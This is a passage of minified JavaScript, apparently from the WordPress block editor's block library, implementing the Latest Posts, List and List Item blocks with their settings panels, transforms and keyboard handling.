0!==e));return{defaultImageWidth:(0,St.get)(o.imageDimensions,[f,"width"],0),defaultImageHeight:(0,St.get)(o.imageDimensions,[f,"height"],0),imageSizes:o.imageSizes,latestPosts:t("postType","post",r),categoriesList:t("taxonomy","category",Tu),authorList:n(Nu)}}),[f,l,i,s,c,u]),{createWarningNotice:P,removeNotice:I}=(0,it.useDispatch)(wt.store);let z;const M=e=>{e.preventDefault(),I(z),z=`block-library/core/latest-posts/redirection-prevented/${r}`,P((0,je.__)("Links are disabled in the editor."),{id:z,type:"snackbar"})},L=E.filter((e=>{let{slug:t}=e;return"full"!==t})).map((e=>{let{name:t,slug:n}=e;return{value:n,label:t}})),R=null!==(n=null==T?void 0:T.reduce(((e,t)=>({...e,[t.name]:t})),{}))&&void 0!==n?n:{},A=!(null==C||!C.length),V=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Post content settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Post content"),checked:p,onChange:e=>a({displayPostContent:e})}),p&&(0,$e.createElement)(We.RadioControl,{label:(0,je.__)("Show:"),selected:d,options:[{label:(0,je.__)("Excerpt"),value:"excerpt"},{label:(0,je.__)("Full post"),value:"full_post"}],onChange:e=>a({displayPostContentRadio:e})}),p&&"excerpt"===d&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Max number of words in excerpt"),value:_,onChange:e=>a({excerptLength:e}),min:10,max:100})),(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Post meta settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display author name"),checked:h,onChange:e=>a({displayAuthor:e})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display post date"),checked:g,onChange:e=>a({displayPostDate:e})})),(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Featured image settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display featured image"),checked:m,onChange:e=>a({displayFeaturedImage:e})}),m&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.__experimentalImageSizeControl,{onChange:e=>{const t={};e.hasOwnProperty("width")&&(t.featuredImageSizeWidth=e.width),e.hasOwnProperty("height")&&(t.featuredImageSizeHeight=e.height),a(t)},slug:f,width:k,height:x,imageWidth:S,imageHeight:B,imageSizeOptions:L,onChangeImage:e=>a({featuredImageSizeSlug:e,featuredImageSizeWidth:void 0,featuredImageSizeHeight:void 0})}),(0,$e.createElement)(We.BaseControl,{className:"editor-latest-posts-image-alignment-control"},(0,$e.createElement)(We.BaseControl.VisualLabel,null,(0,je.__)("Image alignment")),(0,$e.createElement)(Ze.BlockAlignmentToolbar,{value:y,onChange:e=>a({featuredImageAlign:e}),controls:["left","center","right"],isCollapsed:!1})),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Add link to featured image"),checked:w,onChange:e=>a({addLinkToFeaturedImage:e})}))),(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Sorting and filtering")},(0,$e.createElement)(We.QueryControls,{order:i,orderBy:s,numberOfItems:l,onOrderChange:e=>a({order:e}),onOrderByChange:e=>a({orderBy:e}),onNumberOfItemsChange:e=>a({postsToShow:e}),categorySuggestions:R,onCategoryChange:e=>{if(e.some((e=>"string"==typeof e&&!R[e])))return;const t=e.map((e=>"string"==typeof e?R[e]:e));if((0,St.includes)(t,null))return!1;a({categories:t})},selectedCategories:c,onAuthorChange:e=>a({selectedAuthor:""!==e?Number(e):void 0}),authorList:null!=N?N:[],selectedAuthorId:u}),"grid"===v&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Columns"),value:b,onChange:e=>a({columns:e}),min:2,max:A?Math.min(6,C.length):6,required:!0}))),H=(0,Ze.useBlockProps)({className:at()({"wp-block-latest-posts__list":!0,"is-grid":"grid"===v,"has-dates":g,"has-author":h,[`columns-${b}`]:"grid"===v})});if(!A)return(0,$e.createElement)("div",H,V,(0,$e.createElement)(We.Placeholder,{icon:Hn,label:(0,je.__)("Latest Posts")},Array.isArray(C)?(0,je.__)("No posts found."):(0,$e.createElement)(We.Spinner,null)));const D=C.length>l?C.slice(0,l):C,F=[{icon:Su,title:(0,je.__)("List view"),onClick:()=>a({postLayout:"list"}),isActive:"list"===v},{icon:Bu,title:(0,je.__)("Grid view"),onClick:()=>a({postLayout:"grid"}),isActive:"grid"===v}],G=(0,la.getSettings)().formats.date;return(0,$e.createElement)("div",null,V,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,{controls:F})),(0,$e.createElement)("ul",H,D.map(((e,t)=>{const n=e.title.rendered.trim();let o=e.excerpt.rendered;const a=null==N?void 0:N.find((t=>t.id===e.author)),r=document.createElement("div");r.innerHTML=o,o=r.textContent||r.innerText||"";const{url:l,alt:i}=function(e,t){var n,o,a,r;const l=(0,St.get)(e,["_embedded","wp:featuredmedia","0"]);return{url:null!==(n=null==l||null===(o=l.media_details)||void 0===o||null===(a=o.sizes)||void 0===a||null===(r=a[t])||void 0===r?void 0:r.source_url)&&void 0!==n?n:null==l?void 0:l.source_url,alt:null==l?void 0:l.alt_text}}(e,f),s=at()({"wp-block-latest-posts__featured-image":!0,[`align${y}`]:!!y}),c=m&&l,u=c&&(0,$e.createElement)("img",{src:l,alt:i,style:{maxWidth:k,maxHeight:x}}),v=_<o.trim().split(" ").length&&""===e.excerpt.raw?(0,$e.createElement)($e.Fragment,null,o.trim().split(" ",_).join(" "),(0,je.__)(" … "),(0,$e.createElement)("a",{href:e.link,rel:"noopener noreferrer",onClick:M},(0,je.__)("Read more"))):o;return(0,$e.createElement)("li",{key:t},c&&(0,$e.createElement)("div",{className:s},w?(0,$e.createElement)("a",{className:"wp-block-latest-posts__post-title",href:e.link,rel:"noreferrer noopener",onClick:M},u):u),(0,$e.createElement)("a",{href:e.link,rel:"noreferrer noopener",dangerouslySetInnerHTML:n?{__html:n}:void 0,onClick:M},n?null:(0,je.__)("(no title)")),h&&a&&(0,$e.createElement)("div",{className:"wp-block-latest-posts__post-author"},(0,je.sprintf)(
/* translators: byline. %s: current author. */
(0,je.__)("by %s"),a.name)),g&&e.date_gmt&&(0,$e.createElement)("time",{dateTime:(0,la.format)("c",e.date_gmt),className:"wp-block-latest-posts__post-date"},(0,la.dateI18n)(G,e.date_gmt)),p&&"excerpt"===d&&(0,$e.createElement)("div",{className:"wp-block-latest-posts__post-excerpt"},v),p&&"full_post"===d&&(0,$e.createElement)("div",{className:"wp-block-latest-posts__post-full-content",dangerouslySetInnerHTML:{__html:e.content.raw.trim()}}))}))))},deprecated:Cu},Mu=()=>qe({name:Iu,metadata:Pu,settings:zu});function Lu(e){var t;const n={ordered:"OL"===e.tagName,anchor:""===e.id?void 0:e.id,start:e.getAttribute("start")?parseInt(e.getAttribute("start"),10):void 0,reversed:!!e.hasAttribute("reversed")||void 0,type:null!==(t=e.getAttribute("type"))&&void 0!==t?t:void 0},o=Array.from(e.children).map((e=>{const t=Array.from(e.childNodes).filter((e=>e.nodeType!==e.TEXT_NODE||0!==e.textContent.trim().length));t.reverse();const[n,...o]=t;if("UL"!==(null==n?void 0:n.tagName)&&"OL"!==(null==n?void 0:n.tagName))return(0,Ge.createBlock)("core/list-item",{content:e.innerHTML});const a=o.map((e=>e.nodeType===e.TEXT_NODE?e.textContent:e.outerHTML));a.reverse();const r={content:a.join("").trim()},l=[Lu(n)];return(0,Ge.createBlock)("core/list-item",r,l)}));return(0,Ge.createBlock)("core/list",n,o)}function Ru(e){const{values:t,start:n,reversed:o,ordered:a,type:r}=e,l=document.createElement(a?"ol":"ul");l.innerHTML=t,n&&l.setAttribute("start",n),o&&l.setAttribute("reversed",!0),r&&l.setAttribute("type",r);const i=Lu(l),{values:s,...c}=e;return[{...c,...i.attributes},i.innerBlocks]}const Au={attributes:{ordered:{type:"boolean",default:!1,__experimentalRole:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",__experimentalRole:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,__experimentalFontFamily:!0},color:{gradients:!0,link:!0},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},save(e){let{attributes:t}=e;const{ordered:n,values:o,type:a,reversed:r,start:l}=t,i=n?"ol":"ul";return(0,$e.createElement)(i,Ze.useBlockProps.save({type:a,reversed:r,start:l}),(0,$e.createElement)(Ze.RichText.Content,{value:o,multiline:"li"}))},migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},Vu={attributes:{ordered:{type:"boolean",default:!1,__experimentalRole:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",__experimentalRole:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,__experimentalFontFamily:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},save(e){let{attributes:t}=e;const{ordered:n,values:o,type:a,reversed:r,start:l}=t,i=n?"ol":"ul";return(0,$e.createElement)(i,Ze.useBlockProps.save({type:a,reversed:r,start:l}),(0,$e.createElement)(Ze.RichText.Content,{value:o,multiline:"li"}))},migrate:Ru},Hu=[Vu,Au],Du=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM15.4697 14.9697L18.4393 12L15.4697 9.03033L16.5303 7.96967L20.0303 11.4697L20.5607 12L20.0303 12.5303L16.5303 16.0303L15.4697 14.9697Z"})),Fu=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-4-4.6l-4 4 4 4 1-1-3-3 3-3-1-1z"})),Gu=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"})),$u=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"})),Uu=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M3.8 15.8h8.9v-1.5H3.8v1.5zm0-7h8.9V7.2H3.8v1.6zm14.7-2.1V10h1V5.3l-2.2.7.3 1 .9-.3zm1.2 6.1c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5H20v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3 0-.8-.3-1.1z"})),Ou=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM5 6.7V10h1V5.3L3.8 6l.4 1 .8-.3zm-.4 5.7c-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-1c.3-.6.8-1.4.9-2.1.1-.3 0-.8-.2-1.1-.5-.6-1.3-.5-1.7-.4z"})),qu=window.wp.deprecated;var Wu=n.n(qu);const ju=e=>{let{setAttributes:t,reversed:n,start:o}=e;return(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Ordered list settings")},(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Start value"),type:"number",onChange:e=>{const n=parseInt(e,10);t({start:isNaN(n)?void 0:n})},value:Number.isInteger(o)?o.toString(10):"",step:"1"}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Reverse list numbering"),checked:n||!1,onChange:e=>{t({reversed:e||void 0})}})))},Zu=(0,$e.forwardRef)((function(e,t){const{ordered:n,...o}=e,a=n?"ol":"ul";return(0,$e.createElement)(a,nt({ref:t},o))})),Qu=[["core/list-item"]];function Ku(e){let{clientId:t}=e;const[n,o]=function(e){const{canOutdent:t}=(0,it.useSelect)((t=>{const{getBlockRootClientId:n,getBlock:o}=t(Ze.store),a=n(e);return{canOutdent:!!a&&"core/list-item"===o(a).name}}),[e]),{replaceBlocks:n,selectionChange:o}=(0,it.useDispatch)(Ze.store),{getBlockRootClientId:a,getBlockAttributes:r,getBlock:l}=(0,it.useSelect)(Ze.store);return[t,(0,$e.useCallback)((()=>{const t=a(e),i=r(t),s=(0,Ge.createBlock)("core/list-item",i),{innerBlocks:c}=l(e);n([t],[s,...c]),o(c[c.length-1].clientId)}),[e])]}(t);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToolbarButton,{icon:(0,je.isRTL)()?Du:Fu,title:(0,je.__)("Outdent"),describedBy:(0,je.__)("Outdent list item"),disabled:!n,onClick:o}))}function Yu(e){let{phrasingContentSchema:t}=e;const n={...t,ul:{},ol:{attributes:["type","start","reversed"]}};return["ul","ol"].forEach((e=>{n[e].children={li:{children:n}}})),n}function Ju(e){return e.flatMap((e=>{let{name:t,attributes:n,innerBlocks:o=[]}=e;return"core/list-item"===t?[n.content,...Ju(o)]:Ju(o)}))}const Xu={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph","core/heading"],transform:e=>{let t=[];if(e.length>1)t=e.map((e=>{let{content:t}=e;return(0,Ge.createBlock)("core/list-item",{content:t})}));else if(1===e.length){const n=(0,fn.create)({html:e[0].content});t=(0,fn.split)(n,"\n").map((e=>(0,Ge.createBlock)("core/list-item",{content:(0,fn.toHTMLString)({value:e})})))}return(0,Ge.createBlock)("core/list",{anchor:e.anchor},t)}},{type:"raw",selector:"ol,ul",schema:e=>({ol:Yu(e).ol,ul:Yu(e).ul}),transform:Lu},...["*","-"].map((e=>({type:"prefix",prefix:e,transform:e=>(0,Ge.createBlock)("core/list",{},[(0,Ge.createBlock)("core/list-item",{content:e})])}))),...["1.","1)"].map((e=>({type:"prefix",prefix:e,transform:e=>(0,Ge.createBlock)("core/list",{ordered:!0},[(0,Ge.createBlock)("core/list-item",{content:e})])})))],to:[...["core/paragraph","core/heading"].map((e=>({type:"block",blocks:[e],transform:(t,n)=>Ju(n).map((t=>(0,Ge.createBlock)(e,{content:t})))})))]},em=Xu,tm={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list",title:"List",category:"text",description:"Create a bulleted or numbered list.",keywords:["bullet list","ordered list","numbered list"],textdomain:"default",attributes:{ordered:{type:"boolean",default:!1,__experimentalRole:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",__experimentalRole:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},editorStyle:"wp-block-list-editor",style:"wp-block-list"},{name:nm}=tm,om={icon:Su,example:{innerBlocks:[{name:"core/list-item",attributes:{content:(0,je.__)("Alice.")}},{name:"core/list-item",attributes:{content:(0,je.__)("The White Rabbit.")}},{name:"core/list-item",attributes:{content:(0,je.__)("The Cheshire Cat.")}},{name:"core/list-item",attributes:{content:(0,je.__)("The Mad Hatter.")}},{name:"core/list-item",attributes:{content:(0,je.__)("The Queen of Hearts.")}}]},transforms:em,edit:function(e){let{attributes:t,setAttributes:n,clientId:o,style:a}=e;const r=(0,Ze.useBlockProps)({...$e.Platform.isNative&&{style:a}}),l=(0,Ze.useInnerBlocksProps)(r,{allowedBlocks:["core/list-item"],template:Qu,templateLock:!1,templateInsertUpdatesSelection:!0,...$e.Platform.isNative&&{marginVertical:8,marginHorizontal:8,useCompactList:!0}});!function(e,t){const n=(0,it.useRegistry)(),{updateBlockAttributes:o,replaceInnerBlocks:a}=(0,it.useDispatch)(Ze.store);(0,$e.useEffect)((()=>{if(!e.values)return;const[r,l]=Ru(e);Wu()("Value attribute on the list block",{since:"6.0",version:"6.5",alternative:"inner blocks"}),n.batch((()=>{o(t,r),a(t,l)}))}),[e.values])}(t,o);const{ordered:i,type:s,reversed:c,start:u}=t,m=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(We.ToolbarButton,{icon:(0,je.isRTL)()?Gu:$u,title:(0,je.__)("Unordered"),describedBy:(0,je.__)("Convert to unordered list"),isActive:!1===i,onClick:()=>{n({ordered:!1})}}),(0,$e.createElement)(We.ToolbarButton,{icon:(0,je.isRTL)()?Uu:Ou,title:(0,je.__)("Ordered"),describedBy:(0,je.__)("Convert to ordered list"),isActive:!0===i,onClick:()=>{n({ordered:!0})}}),(0,$e.createElement)(Ku,{clientId:o}));return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Zu,nt({ordered:i,reversed:c,start:u,type:s},l)),m,i&&(0,$e.createElement)(ju,{setAttributes:n,ordered:i,reversed:c,start:u}))},save:function(e){let{attributes:t}=e;const{ordered:n,type:o,reversed:a,start:r}=t,l=n?"ol":"ul";return(0,$e.createElement)(l,Ze.useBlockProps.save({type:o,reversed:a,start:r}),(0,$e.createElement)(Ze.InnerBlocks.Content,null))},deprecated:Hu},am=()=>qe({name:nm,metadata:tm,settings:om}),rm=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12 11v1.5h8V11h-8zm-6-1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"})),lm=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM20.0303 9.03033L17.0607 12L20.0303 14.9697L18.9697 16.0303L15.4697 12.5303L14.9393 12L15.4697 11.4697L18.9697 7.96967L20.0303 9.03033Z"})),im=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-8-3.5l3 3-3 3 1 1 4-4-4-4-1 1z"}));function sm(e){const t=(0,it.useSelect)((t=>t(Ze.store).getBlockIndex(e)>0),[e]),{replaceBlocks:n,selectionChange:o,multiSelect:a}=(0,it.useDispatch)(Ze.store),{getBlock:r,getPreviousBlockClientId:l,getSelectionStart:i,getSelectionEnd:s,hasMultiSelection:c,getMultiSelectedBlockClientIds:u}=(0,it.useSelect)(Ze.store);return[t,(0,$e.useCallback)((()=>{var t;const m=c(),d=m?u():[e],p=d.map((e=>(0,Ge.cloneBlock)(r(e)))),g=l(e),h=(0,Ge.cloneBlock)(r(g));null!==(t=h.innerBlocks)&&void 0!==t&&t.length||(h.innerBlocks=[(0,Ge.createBlock)("core/list")]),h.innerBlocks[h.innerBlocks.length-1].innerBlocks.push(...p);const v=i(),b=s();n([g,...d],[h]),m?a(p[0].clientId,p[p.length-1].clientId):o(p[0].clientId,b.attributeKey,b.clientId===v.clientId?v.offset:b.offset,b.offset)}),[e])]}const{name:cm}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list-item",title:"List item",category:"text",parent:["core/list"],description:"Create a list item.",textdomain:"default",attributes:{placeholder:{type:"string"},content:{type:"string",source:"html",selector:"li",default:"",__experimentalRole:"content"}},supports:{className:!1,__experimentalSelector:"li"}};function um(e){const t=(0,it.useRegistry)(),{canOutdent:n}=(0,it.useSelect)((t=>{const{getBlockRootClientId:n}=t(Ze.store);return{canOutdent:!!n(n(e))}}),[e]),{moveBlocksToPosition:o,removeBlock:a,insertBlock:r,updateBlockListSettings:l}=(0,it.useDispatch)(Ze.store),{getBlockRootClientId:i,getBlockName:s,getBlockOrder:c,getBlockIndex:u,getSelectedBlockClientIds:m,getBlock:d,getBlockListSettings:p}=(0,it.useSelect)(Ze.store);function g(e){const t=i(e),n=i(t);if(n&&s(n)===cm)return n}return[n,(0,$e.useCallback)((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:m();if(e=(0,St.castArray)(e),!e.length)return;const n=e[0];if(s(n)!==cm)return;const h=g(n);if(!h)return;const v=i(n),b=e[e.length-1],_=c(v),y=_.slice(u(b)+1);t.batch((()=>{if(y.length){let e=c(n)[0];if(!e){const t=(0,Ge.cloneBlock)(d(v),{},[]);e=t.clientId,r(t,0,n,!1),l(e,p(v))}o(y,v,e)}o(e,v,i(h),u(h)+1),c(v).length||a(v)}))}),[])]}function mm(e){const{getBlockRootClientId:t,getBlockName:n,getBlockAttributes:o}=(0,it.useSelect)(Ze.store);return(0,Wt.useRefEffect)((a=>{function r(a){if(a.clipboardData.getData("__unstableWrapperBlockName"))return;const r=t(e);a.clipboardData.setData("__unstableWrapperBlockName",n(r)),a.clipboardData.setData("__unstableWrapperBlockAttributes",JSON.stringify(o(r)))}return a.addEventListener("copy",r),a.addEventListener("cut",r),()=>{a.removeEventListener("copy",r),a.removeEventListener("cut",r)}}),[])}const{name:dm}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list-item",title:"List item",category:"text",parent:["core/list"],description:"Create a list item.",textdomain:"default",attributes:{placeholder:{type:"string"},content:{type:"string",source:"html",selector:"li",default:"",__experimentalRole:"content"}},supports:{className:!1,__experimentalSelector:"li"}};function pm(e){const t=(0,it.useRegistry)(),{getPreviousBlockClientId:n,getNextBlockClientId:o,getBlockOrder:a,getBlockRootClientId:r,getBlockName:l,getBlock:i}=(0,it.useSelect)(Ze.store),{mergeBlocks:s,moveBlocksToPosition:c,replaceBlock:u,selectBlock:m}=(0,it.useDispatch)(Ze.store),[,d]=um(e);function p(e){const t=a(e);return t.length?p(t[t.length-1]):e}function g(e){const t=r(e),n=r(t);if(n&&l(n)===dm)return n}function h(e){const t=o(e);if(t)return t;const n=g(e);return n?h(n):void 0}function v(e){const t=a(e);return t.length?a(t[0])[0]:h(e)}function b(n){const o=r(e),a=(0,Ge.switchToBlockType)(i(o),(0,Ge.getDefaultBlockName)()),l=n?a.length-1:0,s=n?-1:0;t.batch((()=>{u(o,a),m(a[l].clientId,s)}))}return o=>{if(o){const r=v(e);if(!r)return void b(o);g(r)?d(r):t.batch((()=>{c(a(r),r,n(r)),s(e,r)}))}else{const r=n(e);if(g(e))d(e);else if(r){const n=p(r);t.batch((()=>{c(a(e),e,r),s(n,e)}))}else b(o)}}}const{name:gm}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list-item",title:"List item",category:"text",parent:["core/list"],description:"Create a list item.",textdomain:"default",attributes:{placeholder:{type:"string"},content:{type:"string",source:"html",selector:"li",default:"",__experimentalRole:"content"}},supports:{className:!1,__experimentalSelector:"li"}},{name:hm}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list",title:"List",category:"text",description:"Create a bulleted or numbered list.",keywords:["bullet list","ordered list","numbered list"],textdomain:"default",attributes:{ordered:{type:"boolean",default:!1,__experimentalRole:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",__experimentalRole:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},editorStyle:"wp-block-list-editor",style:"wp-block-list"};function vm(e){const t=[];for(let n of e)if(n.name===gm)t.push(n);else if(n.name===hm)t.push(...n.innerBlocks);else if(n=(0,Ge.switchToBlockType)(n,hm))for(const{innerBlocks:e}of n)t.push(...e);return t}function bm(e){let{clientId:t}=e;const[n,o]=sm(t),[a,r]=um(t);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToolbarButton,{icon:(0,je.isRTL)()?Du:Fu,title:(0,je.__)("Outdent"),describedBy:(0,je.__)("Outdent list item"),disabled:!a,onClick:()=>r()}),(0,$e.createElement)(We.ToolbarButton,{icon:(0,je.isRTL)()?lm:im,title:(0,je.__)("Indent"),describedBy:(0,je.__)("Indent list item"),isDisabled:!n,onClick:()=>o()}))}const _m={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/list-item",title:"List item",category:"text",parent:["core/list"],description:"Create a list item.",textdomain:"default",attributes:{placeholder:{type:"string"},content:{type:"string",source:"html",selector:"li",default:"",__experimentalRole:"content"}},supports:{className:!1,__experimentalSelector:"li"}},{name:ym}=_m,fm={icon:rm,edit:function(e){let{attributes:t,setAttributes:n,onReplace:o,clientId:a}=e;const{placeholder:r,content:l}=t,i=(0,Ze.useBlockProps)({ref:mm(a)}),s=(0,Ze.useInnerBlocksProps)(i,{allowedBlocks:["core/list"],renderAppender:!1}),c=function(e){const{replaceBlocks:t,selectionChange:n}=(0,it.useDispatch)(Ze.store),{getBlock:o,getBlockRootClientId:a,getBlockIndex:r}=(0,it.useSelect)(Ze.store),l=(0,$e.useRef)(e);l.current=e;const[i,s]=um(l.current.clientId);return(0,Wt.useRefEffect)((e=>{function c(e){var c;if(e.defaultPrevented||e.keyCode!==rn.ENTER)return;const{content:u,clientId:m}=l.current;if(u.length)return;if(e.preventDefault(),i)return void s();const d=o(a(m)),p=r(m),g=(0,Ge.cloneBlock)({...d,innerBlocks:d.innerBlocks.slice(0,p)}),h=(0,Ge.createBlock)((0,Ge.getDefaultBlockName)()),v=[...(null===(c=d.innerBlocks[p].innerBlocks[0])||void 0===c?void 0:c.innerBlocks)||[],...d.innerBlocks.slice(p+1)],b=v.length?[(0,Ge.cloneBlock)({...d,innerBlocks:v})]:[];t(d.clientId,[g,h,...b],1),n(h.clientId)}return e.addEventListener("keydown",c),()=>{e.removeEventListener("keydown",c)}}),[i])}({content:l,clientId:a}),u=function(e){const{getSelectionStart:t,getSelectionEnd:n}=(0,it.useSelect)(Ze.store),[o,a]=sm(e);return(0,Wt.useRefEffect)((e=>{function r(e){const{keyCode:r,shiftKey:l,altKey:i,metaKey:s,ctrlKey:c}=e;if(e.defaultPrevented||!o||r!==rn.SPACE||l||i||s||c)return;const u=t(),m=n();0===u.offset&&0===m.offset&&(e.preventDefault(),a())}return e.addEventListener("keydown",r),()=>{e.removeEventListener("keydown",r)}}),[o,a])}(a),m=function(e){const t=(0,$e.useRef)(!1),{getBlock:n}=(0,it.useSelect)(Ze.store);return(0,$e.useCallback)((o=>{const a=n(e);return t.current?(0,Ge.cloneBlock)(a,{content:o}):(t.current=!0,(0,Ge.createBlock)(a.name,{...a.attributes,content:o}))}),[e,n])}(a),d=pm(a);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("li",s,(0,$e.createElement)(Ze.RichText,{ref:(0,Wt.useMergeRefs)([c,u]),identifier:"content",tagName:"div",onChange:e=>n({content:e}),value:l,"aria-label":(0,je.__)("List text"),placeholder:r||(0,je.__)("List"),onSplit:m,onMerge:d,onReplace:function(e){for(var t=arguments.length,n=new 